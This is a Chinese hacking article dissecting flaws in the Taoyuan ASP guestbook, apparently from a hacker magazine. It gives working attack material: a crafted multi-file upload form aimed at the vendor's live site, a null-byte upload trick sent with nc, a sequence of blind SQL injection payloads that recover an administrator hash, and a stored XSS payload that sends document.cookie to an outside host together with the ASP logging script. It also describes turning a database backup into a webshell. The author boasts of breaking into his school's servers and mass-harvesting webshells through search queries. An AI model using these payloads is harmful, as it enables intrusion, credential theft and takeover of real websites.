研究桃源留言本的漏洞
桃源留言本是桃源工作室http://www.mytaoyuan.com/開發(fā)的一個asp留言系統(tǒng)。由于桃源留言本界面清新,功能強大,簡潔適用,所以被一些大大小小的網(wǎng)站所采用,受到許多站長的好評。桃源留言本由原來的2.0版,升級到現(xiàn)在的3.0版。其官方網(wǎng)站也是3.0版。前段時間,我在入侵我們學校的網(wǎng)站的時候,發(fā)現(xiàn)了一個部門的網(wǎng)站上有這個留言本。于是引起了我對它的一番研究,我下載了各個版本的源代碼,讀了部分代碼之后,發(fā)現(xiàn)漏洞還真不少。
一.上傳漏洞
我在網(wǎng)上搜索的時候,發(fā)現(xiàn)已經(jīng)有人公布了一個上傳漏洞。不過網(wǎng)上公布的是針對2.0版的,不全面。桃源留言本的上傳漏洞其實在所有版本都存在。所有版本都有3個上傳的地方:Upfile_Article.asp,Upfile_Dialog.asp,Upfile_Photo.asp.這里的上傳漏洞和動力3.51的上傳漏洞基本上是一樣的。動網(wǎng)的帶來了上傳漏洞熱潮已經(jīng)過去了,相信大家對上傳漏洞已經(jīng)相當熟悉。不過我這里還是要提一下。來看桃源留言本最新版本3.0的Upfile_Article.asp的部分代碼。
for each formName in upload.file ’列出所有上傳了的文件,一個FOR循環(huán)!
set ofile=upload.file(formName) ’生成一個文件對象
...
arrUpFileType=split(UpFileType,"|") ’取得定義的可以上傳的后綴名
for i=0 to ubound(arrUpFileType)
if fileEXT=trim(arrUpFileType(i)) then
EnableUpload=true hoho,EnableUpload ’變量改變了!
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT="cer" or fileEXT="cdx" then ’呵呵,都過濾了。
EnableUpload=false
end if
if EnableUpload=false then
msg="這種文件類型不允許上傳!\n\n只允許上傳這幾種文件類型:" & UpFileType
FoundErr=true hoho,F(xiàn)oundErr ’變量改變了!
end if
...
if FoundErr<>true then ’又是一個重要地方,F(xiàn)oundErr變量是能否上傳的關(guān)鍵
randomize
ranNum=int(900*rnd)+100 ’生成一個隨機數(shù)
filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt ’沒改變上傳文件的后綴
...
這里又是化境無組件上傳,具體的漏洞原理分析,我不想多說了,因為有太多的人分析了。由于化境無組件上傳可以同時上傳多個文件,作者沒有考慮到這種情況。當我們上傳兩個文件時,假設(shè)第一個為1.gif,第二個為2.php。因為1.gif符合可以上傳的后綴名 ,變量EnableUpload=true了。當?shù)诙€文件2.php上傳的時候,變量的值沒有改變,而且php不在asp,aspx,cer,cdx這幾種特殊情況之內(nèi),又騙過了檢測, FoundErr<>true,于是2.php也會隨著1.gif上傳到服務(wù)器。上傳1.gif是為了給2.php做掩護,第二個文件可以是除asp,aspx,cer,cdx以外的任意后綴。如果服務(wù)器支持jsp,我們也可以傳jsp木馬。實際上這個3.0版的的Upfile_Article.asp還是對上傳漏洞又所修補,不過修補夠,我們還有辦法突破。因為在以前的2.0版,2.1版上面那一句是:if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then,這樣我們就隨便傳cer,cdx后綴的asp木馬了。3.0版的還真奇怪,Upfile_Article.asp和Upfile_Photo.asp都修補了一下,也就是增加了對cer,cdx后綴的過濾,但是Upfile_Dialog.asp卻和2.0版2.1版的一樣。因此3.0版我們可以直接對Upfile_Dialog.asp加以利用,把upload_Dialog.asp的關(guān)鍵部分加以修改:
<body bgColor=menu leftmargin="5" topmargin="0">
<form action="http://www.mytaoyuan.com/ly/Upfile_Dialog.asp" method="post" name="form1" onSubmit="return check()" enctype="multipart/form-data">
<input name="FileName" type="FILE" class="tx1" size="35">
<input name="FileName1" type="FILE" class="tx1" size="35">
<input type="submit" name="Submit" value="上傳">
<input name="DialogType" type="hidden" id="DialogType" value="pic">
</form>
</body>
如圖1 注意后面的DialogType這個隱藏變量。HOHO,第一個文件選gif文件,第二個就把asp木馬改后綴為cdx,傳上去就ok了。如圖2。
3.0版的Upfile_Article.asp這種修補漏洞的方法不可取。,其實自從動力漏洞公布后,很多系統(tǒng)又相似的漏洞,許多站長就是這么修補上傳漏洞的,可惜他們并不懂得真正原理。我們構(gòu)造asp .gif后綴,同樣把Upload_Article.asp加以改造,上傳2個文件,第一個1.gif,第2個2.asp .gif,再上傳抓包保存為bao.txt,用winhex打開bao.txt,把空格對應(yīng)20棏改為00(相信大家都熟練了)。再用nc提交,nc www.mytaoyuan.com 80<bao.txt,這樣就把asp木馬傳上去。如圖。較好地修補可以在upfile_Dialog.asp找到
if FoundErr<>true then
randomize
ranNum=int(900*rnd)+100
filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
ofile.SaveToFile Server.mappath(FileName) ’保存文件
在FileName=SavePath & ofile.FileName下增加:FileName=Replace(FileName,Chr(0),"")即可,它過濾了00.
二.注入漏洞
打開留言本,發(fā)現(xiàn)留言本底部有一個搜索框。如圖3 .再看它的default.asp里面代碼。
select case option1
case 1
SQL="Select * From guest where "&mark&"subject like ’%"&text&"%’"&jinghua&" order by top1,lastdate desc"
case 2
SQL="Select * From guest where "&mark&"content like ’%"&text&"%’"&jinghua&" order by top1,lastdate desc"
case 3
前后對text變量沒有任何過濾。如果我們再框里填上搜索詞:建議’ and 1=1 and ’%’=’
查詢語句變成了:’subject like ’%建議’ and 1=1 and ’%’=’%’ and webid=’’ order by top1,lastdate desc’ ,配配了單引號,于是正常返回與建議有關(guān)的內(nèi)容。我對桃源留言本官方網(wǎng)站測試如下:
建議’ and 1=(select @@version) and ’%’=’ //看是不是sql數(shù)據(jù)庫
建議’ and 0<>(select count(*) from register) and ’%’=’ //看管理員表是否存在,我怕管理員改了默認表名
建議’ and 0<>(select id from register where username=’admin’) and ’%’=’ //看管理員是不是admin
建議’ and (select username from register where username=’風雨無阻’) and ’%’=’//確定管理員是風雨無阻,這是從留言本是看到的
建議’ and 0<>(select id from register where id=1) and ’%’=’ //確定管理員id是否為1
建議’ and exists (select id from register where len(password1)=16 and id=1) and ’%’=’ //確定管理員密碼是否也md5加密了
建議’ and (select top 1 id from register where id=1 and asc(mid(password1,1,1))<100) and ’%’=’//猜密碼長度了,已經(jīng)知道是16位md5
建議’ and (select top 1 id from register where id=1 and asc(mid(password1,1,1))=51) and ’%’=’
建議’ and (select top 1 id from register where id=1 and asc(mid(password1,2,1))<100) and ’%’=’
...
把16位md5密碼的每一位都猜出來了,對照asc碼表就確定了密碼是密文:350e2cfa35948c49,可以檢驗一下,提交:
建議’ and (select password1 from register where password1=’350e2cfa35948c49’) and ’%’=’
桃源留言本的所有基本上都沒過濾,再看show.asp,用來顯示留言的。
dsql="delete From reply where id1="&request("id")
conn.execute(dsql)
rs.open "Select * from guest where ID = " & request("ID1"),conn,2,3
id這個變量任何過濾,這樣我們點擊任意一條留言,就是注入點了。
三.cookies漏洞
讀到login.asp,發(fā)現(xiàn)如下代碼:
response.cookies("ly").Path=cookiePath
response.cookies("ly")("useridname")=name
response.cookies("ly")("useridpassword")=pass
if rs("level1")="管理員" then response.cookies("ly")("admin")=1 else if rs("level1")="版主" then response.cookies("ly")("admin")=2 else response.cookies("ly")("admin")=0
我馬上一陣高興,cookies里的admin這個變量我們可以自己制定,這樣自己不就是管理員么?修改cookies最好用桂林老兵那個修改cookies
的瀏覽器,比較方便。但是發(fā)現(xiàn)沒有用的。再default.asp中有:
if session("useridname")<>"" then
rs.open "select level1 from register where username=’"&session("useridname")&"’",conn,1,1
if not rs.eof then
if rs("level1")="管理員" then session("admin")=1
if rs("level1")="版主" then session("admin")=2
if rs("level1")<>"版主" and rs("level1")<>"管理員" then session("admin")=0
else
session("admin")=0
end if
這就是加了session認證。此留言本無后臺,只要是管理員就可以前臺進行管理操作。而每個有管理功能的頁面都是這樣:
<%if session("admin")<>1 then response.Redirect "default.asp"%>
而且cookies中密碼是明文顯示的,如:useridpassword=ccc&admin=1&useridname=ccc。這樣上面我們注入得到的密碼也無法進行cookies欺騙,除非破解出來才行。不過這樣也有個安全因素。cookies中的密碼是明文,這樣保密性不好,如果被人偷看了,而我們的密碼又和什么郵箱,QQ密碼一樣,那就慘了。
四.跨站攻擊
這個問題要比上面的嚴重。漏洞主要出在guest_register.asp。這里是注冊定義頭像的地方,定義頭像可以選擇系統(tǒng)自帶頭像,也可以自己上傳。一個框框填些自己定義頭像的地址。
<input name="myface" type="text" class="input1" id="QQ3" size="30">
<br>
</font></div></td>
<td width="458" align="center"><div align="left"><iframe style="top:2px" ID="UploadFiles" src="upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe>
<br>
然后在guest_info.asp中,這里是修改自己注冊信息的地方。
<td width="11%"><img src="<%if rs("myface")<>"" then response.write(rs("myface")) else response.write(rs("face"))%>" width="72" id=idface ></td>。
<script>alert(’aaa啊’)</script>,最后顯示出來就是:
</script>" width="20" height="30">
自然就彈出兩次對話框。如圖4。經(jīng)測試個人主頁那里也可以進行跨站攻擊。我們就個人主頁那里填:
http://<script>alert(’aaa啊’)</script>,最后顯示出來就是:
<a href="http://<script>alert(’aaa啊’)</script>" target="_blank">http://<script>alert(’aaa啊’)</script></a></font></div></td>
我們的代碼又執(zhí)行了。填些qq號碼那里也每過濾,不過長度有限制,不能跨站。
個人主頁http://<script>window.open(’http://webshell.com/qq156544632/co.asp?msg=’+document.cookie)</script>就行了。我們的http://webshell.com/qq156544632/下面的co.asp應(yīng)該這樣些:
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("qq156544632.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
<script language=vbscript>window.close()</script>
(此代碼好像是Lcx大哥原創(chuàng)的,在此表示感謝。)這樣管理員的cookies就會寫到http://webshell.com/qq156544632/156544632.txt里面。
這里順便說下,以上跨站代碼用了Fso對象,所以你的http://webshell.com/必須支持FSO,window.close()這里是為了關(guān)閉http://webshell.com/qq156544632/co.asp的,以免引起懷疑??次彝档腸ookies圖。如圖5.
五.其它漏洞
桃源留言本的默認數(shù)據(jù)庫為mdb文件,沒有任何防下載措施。在“黑客”越來越多的今天,寫代碼的還這樣有點不應(yīng)該了。后臺有備份,恢復數(shù)據(jù)庫的功能。假設(shè)我們得到了管理密碼,能進行管理操作,如果數(shù)據(jù)庫被改成了asp的,我們就隨便什么地方把一句話asp木馬寫進他數(shù)據(jù)庫,把他的數(shù)據(jù)庫變成asp木馬。如果數(shù)據(jù)庫沒改,或我們不知道數(shù)據(jù)庫路徑,我們就先把一句話木馬寫進數(shù)據(jù)庫,再備份數(shù)據(jù)庫。因為備份數(shù)據(jù)庫默認為asa文件,假設(shè)我們備份為Databackup/langzi.asa,我們直接訪問http://www.xxx.com/Databackup/langzi.asa,是不是也可以用一句話asp木馬進行操作了?
看完了是不是覺得漏洞挺多?。苛粞员疽话阍倬W(wǎng)站中起配角作用,一次許多網(wǎng)站管理員對留言本的腳本安全不夠重視,而且留言本開發(fā)者
也在安全性上不夠努力。實際上任何一個微小的漏洞都有可能威脅到服務(wù)器的安全。千里之堤,潰于蟻穴。就拿我來說吧,就是通過這個留言本的漏洞,入侵了我們學校一個部門的網(wǎng)站,進而入侵了學校的網(wǎng)站,再進一步控制學校網(wǎng)站的服務(wù)器,最后我滲透內(nèi)網(wǎng),控制了學校的所有服務(wù)器。希望以后的腳本編寫者一定要懂得安全第一,也希望其它的類似留言本不要出現(xiàn)本文所提到的漏洞。用baidu搜索"填寫留言 用戶登錄 用戶注冊 發(fā)言排名 查看精華"或其它關(guān)鍵詞就可以找到大批使用桃源留言本的網(wǎng)站,90%以上都存在漏洞,我瞬間就得到一批webshell。目前桃源留言本官方網(wǎng)站漏洞還沒補,留言本系統(tǒng)一直供人下載,希望大家千萬不要上去捆馬,也不要攻擊其它國內(nèi)網(wǎng)站。
由于本人水平有限,而且是在有限的時間里粗略地看了下代碼,錯誤遺漏在所難免。歡迎與我交流,本人qq:156544632,當然最好是上我們地《黑客X檔案》地論壇去討論。
相關(guān)文章
從MS03-049漏洞利用看調(diào)試系統(tǒng)進程(圖)
從MS03-049漏洞利用看調(diào)試系統(tǒng)進程(圖)...2007-01-01Windows家族內(nèi)部各個安全漏洞集體大搜捕(圖)
Windows家族內(nèi)部各個安全漏洞集體大搜捕(圖)...2007-01-01